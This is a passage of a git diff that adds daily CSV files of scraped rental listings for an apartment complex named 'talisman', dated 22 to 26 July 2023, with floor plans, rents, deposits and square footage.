(1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230721,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230721,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230721,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230721,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230721,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230721,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230721,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230721,talisman,A4 (1x1),1 Bed 1 Bath,"$2,096",$300,713 - 716 sq.ft.,None,N/A +20230721,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230721,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230721,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230721,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230721,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230721,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230721,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230721,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230721,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230721,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230721,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230721,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230721,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230721,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230721,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230721,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230721,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230721,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230721,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230721,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,249",$300,1140 - 1185 sq.ft.,None,N/A +20230721,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230721,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230721,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230721,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230721,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230721,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230721,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230721,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230721,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230721,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230721,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230722.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230722.csv new file mode 100644 index 00000000000..5024624f197 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230722.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230722,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230722,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230722,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230722,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230722,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230722,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230722,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230722,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230722,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230722,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230722,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230722,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230722,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230722,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230722,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230722,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230722,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230722,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230722,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230722,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230722,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230722,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230722,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230722,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230722,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230722,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230722,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230722,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230722,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230722,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230722,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230722,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230722,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,249",$300,1140 - 1185 sq.ft.,None,N/A +20230722,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230722,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230722,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230722,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230722,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230722,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230722,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230722,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230722,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230722,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230722,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230723.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230723.csv new file mode 100644 index 00000000000..f8a5de339ac --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230723.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230723,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230723,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230723,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230723,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230723,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230723,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230723,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230723,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230723,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230723,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230723,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230723,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230723,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230723,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230723,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230723,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230723,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230723,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230723,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230723,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230723,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230723,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230723,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230723,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230723,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230723,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230723,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230723,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230723,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230723,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230723,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230723,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230723,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,249",$300,1140 - 1185 sq.ft.,None,N/A +20230723,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230723,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230723,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230723,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230723,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230723,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230723,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230723,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230723,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230723,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230723,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230724.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230724.csv new file mode 100644 index 00000000000..fb806b3d23d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230724.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230724,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230724,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230724,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230724,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230724,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230724,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230724,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230724,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230724,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230724,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230724,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230724,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230724,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230724,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230724,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230724,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230724,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230724,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230724,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230724,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230724,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230724,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230724,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230724,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230724,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230724,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230724,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230724,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230724,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230724,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230724,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230724,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230724,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,249",$300,1140 - 1185 sq.ft.,None,N/A +20230724,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230724,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230724,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230724,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230724,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230724,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230724,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230724,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230724,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230724,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230724,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230725.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230725.csv new file mode 100644 index 00000000000..22713597d4a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230725.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230725,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230725,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230725,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230725,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230725,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230725,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230725,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230725,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230725,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230725,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230725,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230725,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230725,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230725,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230725,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230725,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230725,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230725,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230725,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230725,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230725,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230725,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230725,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230725,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230725,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230725,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230725,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230725,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230725,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230725,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230725,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230725,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230725,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,285",$300,1140 - 1185 sq.ft.,None,N/A +20230725,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230725,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230725,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230725,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230725,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230725,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230725,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230725,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230725,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230725,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230725,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230726.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230726.csv new file mode 100644 index 00000000000..6270164cb5b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230726.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230726,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230726,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230726,talisman,A10 (1x1),1 Bed 1 Bath,"$1,936",$300,578 - 665 sq.ft.,None,N/A +20230726,talisman,A1 (1x1),1 Bed 1 Bath,"$1,981",$300,604 - 671 sq.ft.,None,N/A +20230726,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230726,talisman,A3 (1x1),1 Bed 1 Bath,"$2,036",$300,609 - 642 sq.ft.,None,N/A +20230726,talisman,A2 (1x1),1 Bed 1 Bath,"$2,056",$300,617 - 715 sq.ft.,None,N/A +20230726,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230726,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230726,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230726,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230726,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230726,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230726,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230726,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,655",$300,745 - 828 sq.ft.,None,N/A +20230726,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230726,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230726,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,725",$300,785 - 852 sq.ft.,None,N/A +20230726,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230726,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230726,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230726,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230726,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230726,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230726,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230726,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230726,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230726,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230726,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230726,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230726,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230726,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230726,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,285",$300,1140 - 1185 sq.ft.,None,N/A +20230726,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230726,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230726,talisman,C6 (2x2),2 Bed 2 